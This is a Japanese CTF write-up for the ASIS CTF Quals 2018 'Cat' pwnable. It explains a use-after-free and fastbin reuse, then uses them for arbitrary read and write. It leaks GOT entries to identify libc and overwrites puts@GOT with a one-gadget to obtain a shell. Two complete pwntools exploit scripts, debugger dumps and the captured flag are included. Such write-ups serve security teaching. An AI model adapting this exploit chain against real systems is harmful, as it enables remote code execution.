LoginSignup
0
0

More than 5 years have passed since last update.

ASIS CTF Quals 2018 writeup

Posted at

Cat(Pwnable, 67 points)

Register the cute pet! 🐱

nc 178.62.40.102 6000

Use After Free(UAF)の脆弱性を使ってあれこれする問題。
UAFとfastbinsの性質を組み合わせた問題で面白かった。

ファイル情報

# file ./Cat 
Cat: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=873438627f4294fb88e6b2e8aec4ac5717841809, stripped
# checksec ./Cat 
[*] '(snip)/Cat'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

動作概要

  • pet情報の登録(create)、編集(edit)、削除(delete)や、個別pet情報の表示(print)、全pet情報の表示(print all)ができる
  • pet情報は最大10(0~9)まで登録できる
  • pet情報ごとに構造体(24バイト)が存在し、それらのアドレスを.bss(0x6020a0~0x6020e8)から指している
  • pet情報の構造体要素は下記
    • name格納領域のアドレス(8バイト)
    • kind格納領域のアドレス(8バイト)
    • oldの値(残り8バイトのうち4バイトを使用)
  • pet情報構造体、name格納領域、kind格納領域はヒープ領域に確保され、いずれもヒープサイズが0x20のfastbin
  • editの際に一時的なpet構造体が生成され、そのアドレスを.bss(0x6020f0)から指す
# ./Cat

$$$$$$$\             $$\           $$$$$$$\                      $$\             $$\                         
$$  __$$\            $$ |          $$  __$$\                     \__|            $$ |                        
$$ |  $$ | $$$$$$\ $$$$$$\         $$ |  $$ | $$$$$$\   $$$$$$\  $$\  $$$$$$$\ $$$$$$\    $$$$$$\   $$$$$$\  
$$$$$$$  |$$  __$$\\_$$  _|        $$$$$$$  |$$  __$$\ $$  __$$\ $$ |$$  _____|\_$$  _|  $$  __$$\ $$  __$$\ 
$$  ____/ $$$$$$$$ | $$ |          $$  __$$< $$$$$$$$ |$$ /  $$ |$$ |\$$$$$$\    $$ |    $$$$$$$$ |$$ |  \__|
$$ |      $$   ____| $$ |$$\       $$ |  $$ |$$   ____|$$ |  $$ |$$ | \____$$\   $$ |$$\ $$   ____|$$ |      
$$ |      \$$$$$$$\  \$$$$  |      $$ |  $$ |\$$$$$$$\ \$$$$$$$ |$$ |$$$$$$$  |  \$$$$  |\$$$$$$$\ $$ |      
\__|       \_______|  \____/       \__|  \__| \_______| \____$$ |\__|\_______/    \____/  \_______|\__|      
                                                       $$\   $$ |                                            
                                                       \$$$$$$  |                                            
                                                        \______/                                             

------------------------------------------------
 1: create pet record
 2: edit pet record
 3: print record
 4: print all record
 5: delete record
 6: exit
------------------------------------------------
which command?
> 1
What's the pet's name?
> AAAA
What's the pet's kind?
> aaaa
How old?
> 11
create record id:0
(snip)
which command?
> 1
What's the pet's name?
> BBBB
What's the pet's kind?
> bbbb
How old?
> 22
create record id:1
(snip)
which command?
> 4
---
id: 0
name: AAAA
kind: aaaa
old: 11
---
id: 1
name: BBBB
kind: bbbb
old: 22
print all: 
(snip)
which command?
> 3
which id?
> 0
name: AAAA
kind: aaaa
old: 11
print id 0
(snip)
which command?
> 2
which id?
> 1
What's the pet's name?
> ZZZZ
What's the pet's kind?
> zzzz
How old?
> 33
Would you modify? (y)/n> y
edit id 1
(snip)
which command?
> 4
---
id: 0
name: AAAA
kind: aaaa
old: 11
---
id: 1
name: ZZZZ
kind: zzzz
old: 33
print all: 
(snip)
which command?
> 5
which id?
> 0
delete id 0
(snip)
which command?
> 4
---
id: 1
name: ZZZZ
kind: zzzz
old: 33
print all: 
(snip)
which command?
> 6

脆弱点

edit時に実行される関数sub_0x400b74において、「Would you modify? (y)/n>」と聞かれた際に「n」と答えると、ヒープ領域に一時的に確保されたpet構造体(pet_tmp)とその要素はfreeされるが、pet_tmpを指している.bss(0x6020f0)の値はきれいにされず、そのままpet_tmpを指したままになっている。

Image3.png

上記の直後にcreateすると、先ほどfreeされたヒープ領域たちがmallocで返る。これらのヒープ領域は、edit側から見れば一時領域(pet_tmp)としてまだ確保している領域に見えているというUAFな状態になる。

Image5.png

ここで、上記edit時に「n」を選択した際のfree時に
pet構造体、name領域、kind領域
の順でfreeされるので、fastbinsのリストには
fastbin[0] -> kind領域 -> name領域 -> pet構造体( -> NULL)
のようにつながる。
その直後にcreateでmallocすると、
旧kind領域、旧name領域、旧pet構造体
の順にアドレスが返るので、.bss(0x6020f0)から見たpet_tmp構造体自身と各要素、その後のcreateで確保されるpet構造体自身と各要素の各々のアドレスは下記のように対応する。

edit時(0x6020f0から参照) create時(0x6020a0~0x6020e8のどこかから参照)
pet_tmp構造体のアドレス kind領域のアドレス
name領域のアドレス name領域のアドレス
kind領域のアドレス pet構造体のアドレス

考察

  • Partial RELROなので、どこかのGOTにOne-Gadget-RCEを書き込むことを考える。
    • puts( )のGOTを使ってみる。
  • edit時に.bss(0x6020f0)からpet_tmpへの参照がきれいにされないこと、同じ領域でもedit時と直後のcreate時で使われ方が違うことを利用する。
    • 任意のアドレスからの読み出し:edit時、pet_tmp構造体のkind相当領域の先頭に任意のアドレスを書き込むと、そのkind領域を(0x6020a0~0x6020e8)からpet構造体として参照したときには先頭16バイトがname領域のアドレスとkind領域のアドレスになるので、そのpet情報をprintすることで任意のアドレスの値を読み出せる(nameとkindに相当する最大2つ)。
    • 任意のアドレスへの書き込み:editでpet_tmpをfreeした直後のcreate時、pet構造体のkind相当領域の先頭に任意のアドレスを書き込むと、そのkind領域をpet_tmp構造体として参照したときには先頭16バイトがname領域のアドレスとkind領域のアドレスになるので、その後のeditにより任意のアドレスに任意の文字列を書き込める(nameとkindに相当する最大2つ)。
  • libcが提供されていない。
    • 上記の手法を使ってputs( )やread( )のGOTの値をリークさせ、その結果からlibcのバージョンを推定する。

方針

  1. createを実行する。(#0)
  2. editを実行し、「Would you modify? (y)/n>」で「n」を入力する。
  3. createを実行する。このときkindの値として適当な文字列を登録してしまうと4. のname登録処理で落ちてしまうので、便宜的に.bssのアドレス(0x6020b0)を登録する。(#1)
  4. editを実行し、kindの値としてputs( )およびread( )それぞれのGOTアドレスを登録する。ここでは「Would you modify? (y)/n>」に対して「y」を入力し、UAF状態を解除しておく。またこのとき3. の影響で.bssのアドレス(0x6020b0)にnameの入力値が反映されるので、2番目のpet構造体(#2)が存在しているように見える。
  5. #1の情報をprintし、puts( )およびread( )それぞれのlibc上のアドレスを取得する。
  6. 5. で取得したアドレスからlibcのバージョンを推定する。
  7. 上記1. ~5. を再度実行してlibc_baseおよびOne-Gadget-RCEのアドレスを計算する。
  8. createを実行する。(#3)
  9. editを実行し、「Would you modify? (y)/n>」で「n」を入力する。
  10. createを実行する。このときkindの値としてputs( )のGOTアドレスを登録する。(#4)
  11. editを実行し、nameの値としてOne-Gadget-RCEのアドレスを登録する。
  12. メニュー表示時にputs( )が呼ばれ、One-Gadget-RCEが発動する。

exploit-1(libcの推定)

from pwn import *

BIN = './Cat'

elf = ELF(BIN)

puts_got = elf.got['puts']
read_got = elf.got['read']

target = '178.62.40.102'
port = 6000

conn = remote(target, port)

def create(name, kind, old):
    conn.sendafter('> ', str(1))
    conn.sendafter('> ', name)
    conn.sendafter('> ', kind)
    conn.sendafter('> ', str(old))

    conn.recvline()

def edit(id, name, kind, old, flag):
    conn.sendafter('> ', str(2))
    conn.sendafter('> ', str(id))
    conn.sendafter('> ', name)
    conn.sendafter('> ', kind)
    conn.sendafter('> ', str(old))
    conn.sendafter('> ', flag)

    conn.recvline()

def print_pet(id):
    conn.sendafter('> ', str(3))
    conn.sendafter('> ', str(id))

    res = conn.recvuntil('print id').split('\n')[:-1]
    return res

create('A'*8, 'a'*8, 0x11)
edit(0, 'B'*8, 'b'*8, 0x22, 'n')

create('Z'*8, p64(0x6020b0), 0x33)
edit(0, 'HOGE', p64(puts_got) + p64(read_got), 0x22, 'y')

puts_libc = u64(print_pet(1)[0].split(': ')[1].ljust(8, '\0'))
read_libc = u64(print_pet(1)[1].split(': ')[1].ljust(8, '\0'))

log.info('puts_libc: {0}'.format(hex(puts_libc)))
log.info('read_libc: {0}'.format(hex(read_libc)))

conn.interactive()

conn.close()

検証メモ-1

1. createを実行する。(#0)

pwndbg> telescope 0x6020a0
00:0000│   0x6020a0 —▸ 0x770010 —▸ 0x770030 ◂— 0x41414141414141 /* 'AAAAAAA' */
01:0008│   0x6020a8 ◂— 0x0
pwndbg> x/30gx 0x770000
0x770000:       0x0000000000000000      0x0000000000000021
0x770010:       0x0000000000770030      0x0000000000770050
0x770020:       0x0000000000000011      0x0000000000000021
0x770030:       0x0041414141414141      0x0000000000000000
0x770040:       0x0000000000000000      0x0000000000000021
0x770050:       0x0061616161616161      0x0000000000000000
0x770060:       0x0000000000000000      0x0000000000020fa1

2. editを実行し、「Would you modify? (y)/n>」で「n」を入力する。

pwndbg> telescope 0x6020a0
00:0000│   0x6020a0 —▸ 0x770010 —▸ 0x770030 ◂— 0x41414141414141 /* 'AAAAAAA' */
01:0008│   0x6020a8 ◂— 0x0
pwndbg> telescope 0x6020f0
00:0000│   0x6020f0 —▸ 0x770070 ◂— 0x0
01:0008│   0x6020f8 ◂— 0x0
pwndbg> x/30gx 0x770000
0x770000:       0x0000000000000000      0x0000000000000021
0x770010:       0x0000000000770030      0x0000000000770050
0x770020:       0x0000000000000011      0x0000000000000021
0x770030:       0x0041414141414141      0x0000000000000000
0x770040:       0x0000000000000000      0x0000000000000021
0x770050:       0x0061616161616161      0x0000000000000000
0x770060:       0x0000000000000000      0x0000000000000021
0x770070:       0x0000000000000000      0x00000000007700b0
0x770080:       0x0000000000000022      0x0000000000000021
0x770090:       0x0000000000770060      0x0000000000000000
0x7700a0:       0x0000000000000000      0x0000000000000021
0x7700b0:       0x0000000000770080      0x0000000000000000
0x7700c0:       0x0000000000000000      0x0000000000020f41
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x7700a0 --> 0x770080 --> 0x770060 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x7700c0 (size : 0x20f40) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0

3. createを実行する。このときkindの値として適当な文字列を登録してしまうと4. のname登録処理で落ちてしまうので、便宜的に.bssのアドレス(0x6020b0)を登録する。(#1)

pwndbg> telescope 0x6020a0
00:0000│   0x6020a0 —▸ 0x770010 —▸ 0x770030 ◂— 0x41414141414141 /* 'AAAAAAA' */
01:0008│   0x6020a8 —▸ 0x7700b0 —▸ 0x770090 ◂— 0x5a5a5a5a5a5a5a /* 'ZZZZZZZ' */
02:0010│   0x6020b0 ◂— 0x0
pwndbg> x/30gx 0x770000
0x770000:       0x0000000000000000      0x0000000000000021
0x770010:       0x0000000000770030      0x0000000000770050
0x770020:       0x0000000000000011      0x0000000000000021
0x770030:       0x0041414141414141      0x0000000000000000
0x770040:       0x0000000000000000      0x0000000000000021
0x770050:       0x0061616161616161      0x0000000000000000
0x770060:       0x0000000000000000      0x0000000000000021
0x770070:       0x00000000006020b0      0x00000000007700b0
0x770080:       0x0000000000000022      0x0000000000000021
0x770090:       0x005a5a5a5a5a5a5a      0x0000000000000000
0x7700a0:       0x0000000000000000      0x0000000000000021
0x7700b0:       0x0000000000770090      0x0000000000770070
0x7700c0:       0x0000000000000033      0x0000000000020f41
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x7700c0 (size : 0x20f40) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0

4. editを実行し、kindの値としてputs( )およびread( )それぞれのGOTアドレス(0x602028、0x602048)を登録する。ここでは「Would you modify? (y)/n>」に対して「y」を入力し、UAF状態を解除しておく。

pwndbg> telescope 0x6020a0
00:0000│   0x6020a0 —▸ 0x770070 —▸ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
01:0008│   0x6020a8 —▸ 0x7700b0 —▸ 0x602028 —▸ 0x7f76f09a1690 (puts) ◂— push   r12
02:0010│   0x6020b0 ◂— 0x474f48 /* 'HOG' */
03:0018│   0x6020b8 ◂— 0x0
pwndbg> telescope 0x6020f0
00:0000│   0x6020f0 ◂— 0x0
pwndbg> x/30gx 0x770000
0x770000:       0x0000000000000000      0x0000000000000021
0x770010:       0x0000000000770040      0x0000000000770050
0x770020:       0x0000000000000011      0x0000000000000021
0x770030:       0x0000000000000000      0x0000000000000000
0x770040:       0x0000000000000000      0x0000000000000021
0x770050:       0x0000000000770020      0x0000000000000000
0x770060:       0x0000000000000000      0x0000000000000021
0x770070:       0x00000000006020b0      0x00000000007700b0
0x770080:       0x0000000000000022      0x0000000000000021
0x770090:       0x005a5a5a5a5a5a5a      0x0000000000000000
0x7700a0:       0x0000000000000000      0x0000000000000021
0x7700b0:       0x0000000000602028      0x0000000000602048
0x7700c0:       0x0000000000000033      0x0000000000020f41
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x770000 --> 0x770040 --> 0x770020 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x7700c0 (size : 0x20f40) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0

5. #1の情報をprintし、puts( )およびread( )それぞれのlibc上のアドレスを取得する。
6. 5. で取得したアドレスからlibcのバージョンを推定する。

[*] puts_libc: 0x7f76f09a1690
[*] read_libc: 0x7f76f0a29250
(snip)/libc-database# ./find puts 690 read 250
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
# one_gadget -f libc.so.6 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
  • 推定されたlibcにおいて、
    • One-Gadget-RCEのオフセットは0x45216など

exploit-2(shell取る)

from pwn import *

BIN = './Cat'
LIBC = './libc.so.6'

elf = ELF(BIN)
libc = ELF(LIBC)

puts_got = elf.got['puts']
puts_offset = libc.symbols['puts']
read_got = elf.got['read']
read_offset = libc.symbols['read']
onegadget_offset = 0x45216

target = '178.62.40.102'
port = 6000

conn = remote(target, port)

def create(name, kind, old):
    conn.sendafter('> ', str(1))
    conn.sendafter('> ', name)
    conn.sendafter('> ', kind)
    conn.sendafter('> ', str(old))

    conn.recvline()

def edit(id, name, kind, old, flag):
    conn.sendafter('> ', str(2))
    conn.sendafter('> ', str(id))
    conn.sendafter('> ', name)
    conn.sendafter('> ', kind)
    conn.sendafter('> ', str(old))
    conn.sendafter('> ', flag)

    conn.recvline()

def print_pet(id):
    conn.sendafter('> ', str(3))
    conn.sendafter('> ', str(id))

    res = conn.recvuntil('print id').split('\n')[:-1]
    return res

create('A'*8, 'a'*8, 0x11)
edit(0, 'B'*8, 'b'*8, 0x22, 'n')

create('Z'*8, p64(0x6020b0), 0x33)
edit(0, 'HOGE', p64(puts_got) + p64(read_got), 0x22, 'y')

puts_libc = u64(print_pet(1)[0].split(': ')[1].ljust(8, '\0'))
read_libc = u64(print_pet(1)[1].split(': ')[1].ljust(8, '\0'))

log.info('puts_libc: {0}'.format(hex(puts_libc)))
log.info('read_libc: {0}'.format(hex(read_libc)))

libc_base = puts_libc - puts_offset
onegadget = libc_base + onegadget_offset

log.info('libc_base: {0}'.format(hex(libc_base)))
log.info('onegadget: {0}'.format(hex(onegadget)))

create('A'*8, 'a'*8, 0x11)
edit(3, 'B'*8, 'b'*8, 0x22, 'n')

create('Z'*8, p64(puts_got), 0x33)
edit(3, p64(onegadget), 'FUGA', 0x22, 'y')

conn.interactive()

conn.close()

検証メモ-2

7. 上記1. ~5. を再度実行してlibc_baseおよびOne-Gadget-RCEのアドレスを計算する。

[*] puts_libc: 0x7fe6726c4690
[*] read_libc: 0x7fe67274c250
[*] libc_base: 0x7fe672655000
[*] onegadget: 0x7fe67269a216

8. createを実行する。(#3)

pwndbg> telescope 0x6020a0
00:0000│   0x6020a0 —▸ 0x1a28070 —▸ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
01:0008│   0x6020a8 —▸ 0x1a280b0 —▸ 0x602028 —▸ 0x7fe6726c4690 (puts) ◂— push   r12
02:0010│   0x6020b0 ◂— 0x474f48 /* 'HOG' */
03:0018│   0x6020b8 —▸ 0x1a28010 —▸ 0x1a28050 ◂— 0x41414141414141 /* 'AAAAAAA' */
04:0020│   0x6020c0 ◂— 0x0
pwndbg> telescope 0x6020f0
00:0000│   0x6020f0 ◂— 0x0
pwndbg> x/30gx 0x1a28000
0x1a28000:      0x0000000000000000      0x0000000000000021
0x1a28010:      0x0000000001a28050      0x0000000001a28030
0x1a28020:      0x0000000000000011      0x0000000000000021
0x1a28030:      0x0061616161616161      0x0000000000000000
0x1a28040:      0x0000000000000000      0x0000000000000021
0x1a28050:      0x0041414141414141      0x0000000000000000
0x1a28060:      0x0000000000000000      0x0000000000000021
0x1a28070:      0x00000000006020b0      0x0000000001a280b0
0x1a28080:      0x0000000000000022      0x0000000000000021
0x1a28090:      0x005a5a5a5a5a5a5a      0x0000000000000000
0x1a280a0:      0x0000000000000000      0x0000000000000021
0x1a280b0:      0x0000000000602028      0x0000000000602048
0x1a280c0:      0x0000000000000033      0x0000000000020f41
0x1a280d0:      0x0000000000000000      0x0000000000000000
0x1a280e0:      0x0000000000000000      0x0000000000000000

9. editを実行し、「Would you modify? (y)/n>」で「n」を入力する。

pwndbg> telescope 0x6020a0
00:0000│   0x6020a0 —▸ 0x1a28070 —▸ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
01:0008│   0x6020a8 —▸ 0x1a280b0 —▸ 0x602028 —▸ 0x7fe6726c4690 (puts) ◂— push   r12
02:0010│   0x6020b0 ◂— 0x474f48 /* 'HOG' */
03:0018│   0x6020b8 —▸ 0x1a28010 —▸ 0x1a28050 ◂— 0x41414141414141 /* 'AAAAAAA' */
04:0020│   0x6020c0 ◂— 0x0
pwndbg> telescope 0x6020f0
00:0000│   0x6020f0 —▸ 0x1a280d0 ◂— 0x0
01:0008│   0x6020f8 ◂— 0x0
pwndbg> x/40gx 0x1a28000
0x1a28000:      0x0000000000000000      0x0000000000000021
0x1a28010:      0x0000000001a28050      0x0000000001a28030
0x1a28020:      0x0000000000000011      0x0000000000000021
0x1a28030:      0x0061616161616161      0x0000000000000000
0x1a28040:      0x0000000000000000      0x0000000000000021
0x1a28050:      0x0041414141414141      0x0000000000000000
0x1a28060:      0x0000000000000000      0x0000000000000021
0x1a28070:      0x00000000006020b0      0x0000000001a280b0
0x1a28080:      0x0000000000000022      0x0000000000000021
0x1a28090:      0x005a5a5a5a5a5a5a      0x0000000000000000
0x1a280a0:      0x0000000000000000      0x0000000000000021
0x1a280b0:      0x0000000000602028      0x0000000000602048
0x1a280c0:      0x0000000000000033      0x0000000000000021
0x1a280d0:      0x0000000000000000      0x0000000001a28110
0x1a280e0:      0x0000000000000022      0x0000000000000021
0x1a280f0:      0x0000000001a280c0      0x0000000000000000
0x1a28100:      0x0000000000000000      0x0000000000000021
0x1a28110:      0x0000000001a280e0      0x0000000000000000
0x1a28120:      0x0000000000000000      0x0000000000020ee1
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x1a28100 --> 0x1a280e0 --> 0x1a280c0 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x1a28120 (size : 0x20ee0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0

10. createを実行する。このときkindの値としてputs( )のGOTアドレス(0x602028)を登録する。(#4)

pwndbg> telescope 0x6020a0
00:0000│   0x6020a0 —▸ 0x1a28070 —▸ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
01:0008│   0x6020a8 —▸ 0x1a280b0 —▸ 0x602028 —▸ 0x7fe6726c4690 (puts) ◂— push   r12
02:0010│   0x6020b0 ◂— 0x474f48 /* 'HOG' */
03:0018│   0x6020b8 —▸ 0x1a28010 —▸ 0x1a28050 ◂— 0x41414141414141 /* 'AAAAAAA' */
04:0020│   0x6020c0 —▸ 0x1a28110 —▸ 0x1a280f0 ◂— 0x5a5a5a5a5a5a5a /* 'ZZZZZZZ' */
05:0028│   0x6020c8 ◂— 0x0
pwndbg> telescope 0x6020f0
00:0000│   0x6020f0 —▸ 0x1a280d0 —▸ 0x602028 —▸ 0x7fe6726c4690 (puts) ◂— push   r12
01:0008│   0x6020f8 ◂— 0x0
pwndbg> x/40gx 0x1a28000
0x1a28000:      0x0000000000000000      0x0000000000000021
0x1a28010:      0x0000000001a28050      0x0000000001a28030
0x1a28020:      0x0000000000000011      0x0000000000000021
0x1a28030:      0x0061616161616161      0x0000000000000000
0x1a28040:      0x0000000000000000      0x0000000000000021
0x1a28050:      0x0041414141414141      0x0000000000000000
0x1a28060:      0x0000000000000000      0x0000000000000021
0x1a28070:      0x00000000006020b0      0x0000000001a280b0
0x1a28080:      0x0000000000000022      0x0000000000000021
0x1a28090:      0x005a5a5a5a5a5a5a      0x0000000000000000
0x1a280a0:      0x0000000000000000      0x0000000000000021
0x1a280b0:      0x0000000000602028      0x0000000000602048
0x1a280c0:      0x0000000000000033      0x0000000000000021
0x1a280d0:      0x0000000000602028      0x0000000001a28110
0x1a280e0:      0x0000000000000022      0x0000000000000021
0x1a280f0:      0x005a5a5a5a5a5a5a      0x0000000000000000
0x1a28100:      0x0000000000000000      0x0000000000000021
0x1a28110:      0x0000000001a280f0      0x0000000001a280d0
0x1a28120:      0x0000000000000033      0x0000000000020ee1
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x1a28120 (size : 0x20ee0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0

11. editを実行し、nameの値としてOne-Gadget-RCEのアドレスを登録する。

pwndbg> telescope 0x6020a0
00:0000│   0x6020a0 —▸ 0x1a28070 —▸ 0x6020b0 ◂— 0x474f48 /* 'HOG' */
01:0008│   0x6020a8 —▸ 0x1a280b0 —▸ 0x602028 —▸ 0x7fe67269a216 (do_system+1014) ◂— lea    rsi, [rip + 0x381343]
02:0010│   0x6020b0 ◂— 0x474f48 /* 'HOG' */
03:0018│   0x6020b8 —▸ 0x1a280d0 —▸ 0x602028 —▸ 0x7fe67269a216 (do_system+1014) ◂— lea    rsi, [rip + 0x381343]
04:0020│   0x6020c0 —▸ 0x1a28110 ◂— 0x475546 /* 'FUG' */
05:0028│   0x6020c8 ◂— 0x0
pwndbg> telescope 0x6020f0
00:0000│   0x6020f0 ◂— 0x0
pwndbg> x/40gx 0x1a28000
0x1a28000:      0x0000000000000000      0x0000000000000021
0x1a28010:      0x0000000001a28020      0x0000000001a28030
0x1a28020:      0x0000000000000011      0x0000000000000021
0x1a28030:      0x0000000001a28040      0x0000000000000000
0x1a28040:      0x0000000000000000      0x0000000000000021
0x1a28050:      0x0000000000000000      0x0000000000000000
0x1a28060:      0x0000000000000000      0x0000000000000021
0x1a28070:      0x00000000006020b0      0x0000000001a280b0
0x1a28080:      0x0000000000000022      0x0000000000000021
0x1a28090:      0x005a5a5a5a5a5a5a      0x0000000000000000
0x1a280a0:      0x0000000000000000      0x0000000000000021
0x1a280b0:      0x0000000000602028      0x0000000000602048
0x1a280c0:      0x0000000000000033      0x0000000000000021
0x1a280d0:      0x0000000000602028      0x0000000001a28110
0x1a280e0:      0x0000000000000022      0x0000000000000021
0x1a280f0:      0x005a5a5a5a5a5a5a      0x0000000000000000
0x1a28100:      0x0000000000000000      0x0000000000000021
0x1a28110:      0x0000000000475546      0x0000000001a280d0
0x1a28120:      0x0000000000000033      0x0000000000020ee1
GOTの様子(One-Gadget書き込み前)
pwndbg> got

GOT protection: Partial RELRO | GOT functions: 11
(snip)
[0x602028] puts@GLIBC_2.2.5 -> 0x7fe6726c4690 (puts) ◂— push   r12
GOTの様子(One-Gadget書き込み後)
pwndbg> got

GOT protection: Partial RELRO | GOT functions: 11
(snip)
[0x602028] puts@GLIBC_2.2.5 -> 0x7fe67269a216 (do_system+1014) ◂— lea    rsi, [rip + 0x381343]

12. メニュー表示時にputs( )が呼ばれ、One-Gadget-RCEが発動する。

[+] Opening connection to 178.62.40.102 on port 6000: Done
[*] puts_libc: 0x7fe6726c4690
[*] read_libc: 0x7fe67274c250
[*] libc_base: 0x7fe672655000
[*] onegadget: 0x7fe67269a216
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ pwd
/
$ cd /home/pwn
$ ls
flag
pwn
$ cat flag
ASIS{5aa9607cca34dba443c2b757a053665179f3f85c}
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0